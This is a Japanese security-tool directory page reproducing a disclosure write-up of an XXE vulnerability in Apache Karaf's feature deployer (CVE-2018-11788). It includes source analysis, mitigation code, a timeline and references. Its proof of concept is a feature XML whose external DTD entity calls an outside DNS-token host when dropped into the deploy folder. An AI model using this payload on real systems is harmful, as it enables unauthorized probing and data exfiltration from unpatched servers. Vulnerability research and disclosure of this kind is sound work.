Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2018-11788 — Apache KarafのXXE脆弱性 (CVE-2018-11788) | Kitploit
ツール/GitHubGitHub/brianwrf/cve-2018-11788
脆弱性分析コード分析エクスプロイトウェブアプリケーション悪用論文と研究学習と教育
GitHubbrianwrf/cve-2018-11788

CVE-2018-11788

Apache KarafのXXE脆弱性 (CVE-2018-11788)

リポジトリを見る
3767年前Kitploit レビュー済み

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

概要

Apache Karafは、現代的で多態性のあるアプリケーションコンテナです。OSGiを基盤とした軽量で強力なエンタープライズ対応のコンテナです。Apache Karafは「プロダクトプロジェクト」であり、完全でターンキーのランタイムを提供します。このランタイムは「多面的」であり、OSGiおよび非OSGiアプリケーション、Webアプリケーション、サービスベースのアプリケーションなど、さまざまな種類のアプリケーションをデプロイできます。

最近のApache Karafの調査において、そのXMLパーサーにXXE(XML External Entityインジェクション)の脆弱性が存在することを発見しました。これは、パーサーがXMLドキュメントを適切に解析しないことが原因です。

影響を受けるバージョン

  • Apache Karaf <= 4.2.1
  • Apache Karaf <= 4.1.6

分析

公式マニュアルによると、Apache Karafはデフォルトでフィーチャーデプロイヤを提供しており、ユーザーがdeployフォルダにファイルを直接ドロップすることでフィーチャーXMLをホットデプロイできます。

deployフォルダにフィーチャーXMLをドロップすると、フィーチャーデプロイヤは次の処理を行います:

  • フィーチャーXMLをフィーチャーリポジトリとして登録する
  • install属性が"auto"に設定されたフィーチャーは、フィーチャーデプロイヤによって自動的にインストールされます。

例えば、以下のXMLをdeployフォルダにドロップすると、feature1とfeature2が自動的にインストールされ、feature3はインストールされません:

root@kitploit:~
<?xml version="1.0" encoding="UTF-8"?>
<features name="my-features" xmlns="http://karaf.apache.org/xmlns/features/v1.3.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
        xsi:schemaLocation="http://karaf.apache.org/xmlns/features/v1.3.0 http://karaf.apache.org/xmlns/features/v1.3.0">

    <feature name="feature1" version="1.0" install="auto">
        ...
    </feature>

    <feature name="feature2" version="1.0" install="auto">
        ...
    </feature>

    <feature name="feature3" version="1.0">
        ...
    </feature>

</features>

デプロイヤがXMLファイルをどのように処理するかを調べるために、GitHubでKarafのソースコードを確認し、以下のような呼び出しを見つけました:

  • ActivatorクラスはdoStart()関数を呼び出してデプロイヤのリスナーを起動します
  • doStart()関数はFeatureDeploymentListener.init()を呼び出してリスナーを初期化します
  • 次に、関数bundleChanged - canHandle - getRootElementNameを呼び出して、XMLInputFactoryを利用してXMLドキュメントを解析します

しかし、以下のgetRootElementName関数をさらに調査したところ、XXEに対する防御は一切ありませんでした。

root@kitploit:~
private QName getRootElementName(File artifact) throws Exception {
    if (xif == null) {
        xif = XMLInputFactory.newFactory();
        xif.setProperty(XMLInputFactory.IS_NAMESPACE_AWARE, true);
    }
    try (InputStream is = new FileInputStream(artifact)) {
        XMLStreamReader sr = xif.createXMLStreamReader(is);
        sr.nextTag();
        return sr.getName();
    }
}

したがって、これはApache Karafに潜在的なセキュリティリスクをもたらすと推測しました。

概念実証

この推測を検証するために、Apache Karaf 4.2.0の最新公式リリースをhttps://karaf.apache.org/download.htmlからダウンロードし、以下のようにテストしました。

  1. Apache Karaf 4.2.0からバイナリ配布物をダウンロードする
  2. パッケージを解凍し、binフォルダに移動してKarafコマンドコンソールを起動します。以下に示します。
root@kitploit:~
  bin$ ./karaf
          __ __                  ____      
         / //_/____ __________ _/ __/      
        / ,<  / __ `/ ___/ __ `/ /_        
       / /| |/ /_/ / /  / /_/ / __/        
      /_/ |_|\__,_/_/   \__,_/_/         

    Apache Karaf (4.2.0)

  Hit '<tab>' for a list of available commands
  and '[cmd] --help' for help on a specific command.
  Hit '<ctrl-d>' or type 'system:shutdown' or 'logout' to shutdown Karaf.

  karaf@root()>
  1. https://canarytokens.org/generateでDNSトークンを生成します。例:27av6zyg33g8q8xu338uvhnsc.canarytokens.com
  2. XMLファイルを作成し、生成されたDNSトークンを埋め込んだ外部エンティティをDTDに追加します。以下に示します:
root@kitploit:~
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE doc [<!ENTITY % dtd SYSTEM "http://27av6zyg33g8q8xu338uvhnsc.canarytokens.com"> %dtd;]
<features name="my-features" xmlns="http://karaf.apache.org/xmlns/features/v1.3.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
        xsi:schemaLocation="http://karaf.apache.org/xmlns/features/v1.3.0 http://karaf.apache.org/xmlns/features/v1.3.0">
    <feature name="deployer" version="2.0" install="auto">
    </feature>
</features>
  1. 作成したXMLファイルをdeployフォルダにコピーします
root@kitploit:~
apache-karaf-4.2.0$ cd deploy/
deploy$ tree
.
├── README
└── poc.xml
  1. しばらく待つと、テストマシンからのDNSリクエストが表示されます。これはXMLパーサーがDTDに埋め込まれた外部エンティティを読み込もうとしていることを意味します。

軽減策

以下のOWASPガイドに従ってください。この脆弱性を防ぐための簡潔な情報が提供されています。 https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Prevention_Cheat_Sheet#Java

例えば、getRootElementName関数に以下のコードを追加して、DTDと外部エンティティを無効にします。

root@kitploit:~
xif.setProperty(XMLInputFactory.SUPPORT_DTD, false); // This disables DTDs entirely for that factory
xif.setProperty("javax.xml.stream.isSupportingExternalEntities", false); // disable external entities

追加情報

上記の発見に加えて、Apache Karafプロジェクト内の別のクラスXmlUtilsでも、XMLドキュメントを解析する際にXXE脆弱性に対する保護が追加されていないことを発見しました。

root@kitploit:~
package org.apache.karaf.util;

import java.io.File;
import java.io.IOException;
import java.io.InputStream;

import javax.xml.parsers.DocumentBuilder;
import javax.xml.parsers.DocumentBuilderFactory;
import javax.xml.parsers.ParserConfigurationException;
import javax.xml.parsers.SAXParserFactory;
import javax.xml.transform.Result;
import javax.xml.transform.Source;
import javax.xml.transform.Transformer;
import javax.xml.transform.TransformerConfigurationException;
import javax.xml.transform.TransformerException;
import javax.xml.transform.TransformerFactory;

import org.w3c.dom.Document;
import org.xml.sax.ErrorHandler;
import org.xml.sax.SAXException;
import org.xml.sax.XMLReader;

/**
 * Utils class to manipulate XML document in a thread safe way.
 */
public class XmlUtils {

    private static final ThreadLocal<DocumentBuilderFactory> DOCUMENT_BUILDER_FACTORY = new ThreadLocal<>();
    private static final ThreadLocal<TransformerFactory> TRANSFORMER_FACTORY = new ThreadLocal<>();
    private static final ThreadLocal<SAXParserFactory> SAX_PARSER_FACTORY = new ThreadLocal<>();

    public static Document parse(String uri) throws TransformerException, IOException, SAXException, ParserConfigurationException {
        DocumentBuilder db = documentBuilder();
        try {
            return db.parse(uri);
        } finally {
            db.reset();
        }
    }

    public static Document parse(InputStream stream) throws TransformerException, IOException, SAXException, ParserConfigurationException {
        DocumentBuilder db = documentBuilder();
        try {
            return db.parse(stream);
        } finally {
            db.reset();
        }
    }

    public static Document parse(File f) throws TransformerException, IOException, SAXException, ParserConfigurationException {
        DocumentBuilder db = documentBuilder();
        try {
            return db.parse(f);
        } finally {
            db.reset();
        }
    }

    public static Document parse(File f, ErrorHandler errorHandler) throws TransformerException, IOException, SAXException, ParserConfigurationException {
        DocumentBuilder db = documentBuilder();
        db.setErrorHandler(errorHandler);
        try {
            return db.parse(f);
        } finally {
            db.reset();
        }
    }

    public static void transform(Source xmlSource, Result outputTarget) throws TransformerException {
        Transformer t = transformer();
        try {
            t.transform(xmlSource, outputTarget);
        } finally {
            t.reset();
        }
    }

    public static void transform(Source xsltSource, Source xmlSource, Result outputTarget) throws TransformerException {
        Transformer t = transformer(xsltSource);
        try {
            t.transform(xmlSource, outputTarget);
        } finally {
            t.reset();
        }
    }

    public static XMLReader xmlReader() throws ParserConfigurationException, SAXException {
        SAXParserFactory spf = SAX_PARSER_FACTORY.get();
        if (spf == null) {
            spf = SAXParserFactory.newInstance();
            spf.setNamespaceAware(true);
            SAX_PARSER_FACTORY.set(spf);
        }
        return spf.newSAXParser().getXMLReader();
    }

    public static DocumentBuilder documentBuilder() throws ParserConfigurationException {
        DocumentBuilderFactory dbf = DOCUMENT_BUILDER_FACTORY.get();
        if (dbf == null) {
            dbf = DocumentBuilderFactory.newInstance();
            dbf.setNamespaceAware(true);
            DOCUMENT_BUILDER_FACTORY.set(dbf);
        }
        return dbf.newDocumentBuilder();
    }

    public static Transformer transformer() throws TransformerConfigurationException {
        TransformerFactory tf = TRANSFORMER_FACTORY.get();
        if (tf == null) {
            tf = TransformerFactory.newInstance();
            TRANSFORMER_FACTORY.set(tf);
        }
        return tf.newTransformer();
    }

    private static Transformer transformer(Source xsltSource) throws TransformerConfigurationException {
        TransformerFactory tf = TRANSFORMER_FACTORY.get();
        if (tf == null) {
            tf = TransformerFactory.newInstance();
            TRANSFORMER_FACTORY.set(tf);
        }
        return tf.newTransformer(xsltSource);
    }

}

タイムライン

  • 2018-08-22: この問題をApacheセキュリティチームに報告。
  • 2018-09-26: Apache Karafチームが問題を確認し、KARAF-5911で修正。
  • 2018-11-30: 修正を含むApache Karaf 4.1.7がリリース。
  • 2018-12-18: 修正を含むApache Karaf 4.2.2がリリース。
  • 2019-01-06: Apache Karafがこの問題に関するCVE-2018-11788を公開。

参照

  • https://karaf.apache.org/security/cve-2018-11788.txt
  • https://issues.apache.org/jira/browse/KARAF-5911
  • https://gitbox.apache.org/repos/asf?p=karaf.git;h=cc3332e
  • https://gitbox.apache.org/repos/asf?p=karaf.git;h=1ffa6d1
  • http://avfisher.win/archives/1052
ツールをダウンロード